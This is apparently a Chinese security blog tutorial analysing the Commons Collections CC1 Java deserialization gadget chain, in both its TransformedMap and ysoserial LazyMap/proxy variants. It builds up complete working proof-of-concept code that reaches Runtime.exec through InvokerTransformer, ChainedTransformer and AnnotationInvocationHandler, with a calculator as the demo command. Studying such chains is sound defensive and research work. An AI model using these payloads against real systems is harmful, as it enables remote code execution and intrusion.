0x00 前言 Commons Collections 是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。
0x01 利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Gadget chain: AnnotationInvocationHandler.readObject() MapEntry.setValue() TransformedMap.checkSetValue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
0x02 代码分析 首先,先写一个普通反射调用的方法
1 2 3 4 5 Runtime r = Runtime.getRuntime();Class c = Runtime.class;Method exec = c.getMethod("exec" , String.class);exec.invoke(r,"calc" );
CC1 链的源头就是Commons Collections 库中的Tranformer 接口,这个接口里面有个transform 方法。
1 2 3 public interface Transformer { public Object transform (Object input) ; }
可以看到接口中的transform 方法要求传入一个对象,并且返回的也是一个对象。
寻找下继承了这个接口的类,由于知道利用链了,就直接看一下InvokerTransformer 了
InvokerTransformer 是实现了transform 接口的一个类,可以用来执行任意方法,这也是反序列化能执行任意代码的关键
在实例化这个InvokerTransformer 时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:
1 2 3 4 5 6 private InvokerTransformer (String methodName) { super (); iMethodName = methodName; iParamTypes = null ; iArgs = null ; }
找到后面的回调transform 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } }
可以很清楚的看到参数是可控的,而且利用了反射的方法,这样就可以用来执行任意方法,这也是反序列化能执行任意代码的关键
改写成InvokerTransformer 类调用的形式
1 2 3 4 5 6 7 Runtime r = Runtime.getRuntime(); new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }).transform(r);
再来寻找下,谁调用了transform ,可以看到TransformedMap 类中有挺多方法调用了transform 方法
我们可以来看一下checkSetValue 方法,可以看到调用了valueTransformer 的transform 方法
1 2 3 protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
再找找valueTransformer 是哪来的,可以直接看下构造函数
1 2 3 4 5 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
那么我们这里就需要让valueTransformer 为我们之前的invokerTransformer 对象
可以看到构造器跟方法都是protected 修饰,那就只能内部调用,不能外部实例化,所以就需要找到内部实例化的工具
往上翻可以看到有个decorate 静态方法
1 2 3 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
那就是说我们可以先调用decorate 方法,在实例化这个类,然后在调用checkSetValue 方法
那就修改下代码,改成decorate 方法调用
这里把map 当成参数传入,因为只要用到第三个参数valueTransformer ,所以第二个参数keyTransformer 可以为null ,这里的valueTransformer 就是前面的invokerTransformer
1 2 3 4 5 6 7 8 9 Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" });HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> transformedMp = TransformedMap.decorate(map, null , invokerTransformer);
再找一下哪里调用了checkSetValue方法
MapEntry 可以看到只有AbstractInputCheckedMapDecorator 的内部的MapEntry 类中调用了checkSetValue()
AbstractInputCheckedMapDecorator 也是TransformedMap 父类,是一个抽象类。
1 2 3 4 5 6 7 8 static class MapEntry extends AbstractMapEntryDecorator { public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
可以再找下谁调用了setValue方法,可以发现还挺多,那我们就尝试理解下这个给代码吧
在 Java 中,Map.Entry 是一个接口,用于表示 Map 接口中的键值对。它提供了访问和操作 Map 中的键值对的方法。
Map.Entry 接口定义了以下几个方法:
getKey():返回键对象。
getValue():返回值对象。
setValue(V value):设置当前键对应的新值,并返回之前的旧值。
equals(Object obj):判断指定对象是否与当前键对相等。
hashCode():返回键对的哈希码值。
Map.Entry 接口通常用于遍历和操作 Map 集合中的键值对。通过调用 entrySet() 方法,可以获取Map 对象中所有键值对的集合视图,并通过迭代器或增强型for 循环遍历每个键值对。
而上面的MapEntry 其实就是重写了Map.Entry 接口中的setValue 方法,可以看到父类AbstractInputCheckedMapDecorator 中有setValue 方法
1 2 3 public Object setValue (Object object) { return entry.setValue(object); }
而且AbstractInputCheckedMapDecorator 还引入了Map.Entry 接口,所以我们只需要遍历Map ,就可以调用setValue 方法,即调用了checkSetValue 方法
1 2 3 4 5 for (Map.Entry entry : map.entrySet()) { System.out.println("key= " + entry.getKey() + " and value= " + entry.getValue()); }
所以改写下上面的代码,把** r **当成对象传入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" });HashMap<Object, Object> map = new HashMap <>(); map.put("value" ,"test" ); Map<Object,Object> transformedMp = TransformedMap.decorate(map, null , invokerTransformer); for (Map.Entry entry: transformedMp.entrySet()){ entry.setValue(r); }
接着找一下哪里调用了setValue ,最好是重写过的readObject 方法,里面调用了setValue
AnnotationInvocationHandler 可以看到AnnotationInvocationHandler 这个类中看到有个调用了setValue 方法的readObject 方法,刚好也有个遍历Map 的功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
看下构造器,可以看到第一个参数是继承了注解的class ,第二个是Map ,这里可以传入我们前面的transformedMp
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; }
但是在定义这个类的时候并不是public ,无法new 出来,因此只能通过反射去实例化这个类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> map = new HashMap <>(); map.put("value" ,"test" ); Map<Object,Object> transformedMp = TransformedMap.decorate(map, null , invokerTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandlerConstructor.setAccessible(true ); Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMp);serialize(o); unserialize("ser.bin" );
看着好像构造完了,但是会发现,运行的时候不会弹出计算器
debug 后可以发现AnnotationInvocationHandler 类的readObject 方法的for 循环中
if 条件判断里memberType 为空,导致setValue 不能执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } }
可以知道memberType 是取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称
而我们所使用的Override 注解是没有成员变量的
1 2 3 4 @Target(ElementType.METHOD) @Retention(RetentionPolicy.SOURCE) public @interface Override {}
但是可以发现,Target 注解有个名为value 的成员变量,而且也需要将put() 方法里面的key 的值是否为value
1 2 3 4 5 6 7 8 9 10 11 12 @Documented @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.ANNOTATION_TYPE) public @interface Target { ElementType[] value(); }
所以只需将Override 注解改成Target 注解,则memberType 就不会为空
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> map = new HashMap <>(); map.put("value" ,"test" ); Map<Object,Object> transformedMp = TransformedMap.decorate(map, null , invokerTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandlerConstructor.setAccessible(true ); Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMp);serialize(o); unserialize("ser.bin" );
反射获取getRuntime 还有就是Runtime 类是没有实现java.io.Serializable 接口的,所以不允许被序列化。
但是Class 类是可以被序列化的,所以我们需要利用反射来解决
1 2 3 Class c = Runtime.class;Method exec = c.getMethod("exec" , String.class);exec.invoke(r,"calc" );
再将其改成InvokerTransformer 调用
1 2 3 4 5 6 7 8 Class runtimeClass = Runtime.class;Method getRuntimeMethod = (Method) new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }).transform(runtimeClass);Runtime r = (Runtime) new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null , null }).transform(getRuntimeMethod); new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }).transform(r);
这样是能成功运行了,但是发现这样嵌套是有点麻烦的
然后注意到有个ChainedTransformer 类,这个类也是实现了Transformer 接⼝的⼀个类,它的作⽤是将内部的多个Transformer 串在⼀起。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
通俗来讲就是前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
所以重写个**Transformer[]**数组用来存放
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);chainedTransformer.transform(Runtime.class); HashMap<Object, Object> map = new HashMap <>(); map.put("value" ,"test" ); Map<Object,Object> transformedMp = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandlerConstructor.setAccessible(true ); Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMp);serialize(o); unserialize("ser.bin" );
执行后会发现,在没有序列化前就已经可以弹出计算器了,而且在反序列化后是没有执行成功的,还报出了这个错误
1 AnnotationTypeMismatchExceptionProxy' does not exist
debug 发现,在setValue 时,其中的value 的值不是我们传的RunTime.class
1 2 3 4 5 6 7 8 9 10 11 12 static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
这里就需要ConstantTransformer 类,我们看到这个类里面也有transform 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
根据代码我们可以看出,transform 可以返回构造器中的iConstant
而且可以实现传入什么值,就会返回某个值
这样就能将value的值转为Runtime.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);HashMap<Object, Object> map = new HashMap <>(); map.put("value" ,"test" ); Map<Object,Object> transformedMp = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandlerConstructor.setAccessible(true ); Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMp);serialize(o); unserialize("ser.bin" );
这是P牛在Java漫谈中讲解的一条利用TransformedMap 构造的一条CC1 链
0x03 ysoserial的CC1 上面的代码是可以正常利用了,但是不算是真正的CC1 链
因为ysoserial 中使用的是LazyMap ,代替了TransformedMap
利用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
代码分析 知道利用链了,直接看对应类和方法了
LazyMap 和TransformedMap 类似,都来自于Common-Collections 库,并继承 AbstractMapDecorator
可以看到从ChainedTransformer 的命令是一样的
LazyMap 所以从LazyMap 的**get()**方法看起
TransformedMap 是在写入元素的时候执行命令
而LazyMap 是在get()方法找不到 key 值的时候,去调用**factory.transform()**方法去获取一个值
1 2 3 4 5 6 7 8 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key);
而factory 是一个可控的Transformer
1 protected final Transformer factory;
但调用**get()**方法的太多了,直接就看它的了
由于在AnnotationInvocationHandler 的readObject 中没有直接调用**get()**的方法
所以走了AnnotationInvocationHandler 的**invoke()方法,里面有调用到 get()**方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public Object invoke (Object proxy, Method method, Object[] args) { Object result = memberValues.get(member); if (result == null ) throw new IncompleteAnnotationException (type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0 ) result = cloneArray(result); return result; }
动态代理 怎么才能调用这个**invoke()**方法呢?
那就该利用动态代理了
当动态代理类的代理对象调用任意方法的时候,就会进入到这个实现了InvocationHandler 接口的类中的**invoke()**方法中
而且可以发现这个类实现了InvocationHandler 接口,因此能够用作动态代理
1 2 3 class AnnotationInvocationHandler implements InvocationHandler , Serializable{ }
但是我们会发现AnnotationInvocationHandler 的**invoke()方法中,如果想要调用 get()**方法,还需要绕过两个if判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" ); switch (member) { case "toString" : return toStringImpl(); case "hashCode" : return hashCodeImpl(); case "annotationType" : return type; } }
当你调用equals 方法,就会直接return 这个equalsImpl 方法
而且当你paramTypes.length != 0 ,就是说调用有参方法的话,就会抛出异常
所以我们要在AnnotationInvocationHandler 的readObject 的一个无参方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
挺凑巧,刚好有个memberValues.entrySet()
而且AnnotationInvocationHandler 接收Map
1 private final Map<String, Object> memberValues
并且入口类是AnnotationInvocationHandler ,所以还需要重新实例化下mapProxy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandlerConstructor.setAccessible(true ); InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class []{Map.class}, h);Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy);serialize(o); unserialize("ser.bin" );
0x04 总结
从AnnotationInvocationHandler.readObject()开始,调用TransformedMap类从其父类AbstractInputCheckedMapDecorator中继承setValue()方法
然后调用TransformedMap.checkSetvalue(),该方法将调用传入ChainedTransformer里的Transformer接口的transform()方法
而ConstantTransform类和InvokerTransformer类以及反射的配合,实现了任意代码执行
同样从AnnotationInvocationHandler.readObject()开始,利用动态代理调用被代理类的任意方法能够调用invoke()方法的特性
从AnnotationInvocationHandler的entrySet()方法触发AnnotationInvocationHandler.invoke()方法
从而实现调用LazyMap.get(),在从get()方法走到transform()方法,后面的内容相同
0x05 参考 P牛知识星球-Java安全漫谈
B站-白日梦组长
https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.999.0.0&vd_source=19d2e433219440bcf5304fbe8a00b7ff
Y4tacker
https://github.com/Y4tacker/JavaSechttps://space.bilibili.com/2142877265f )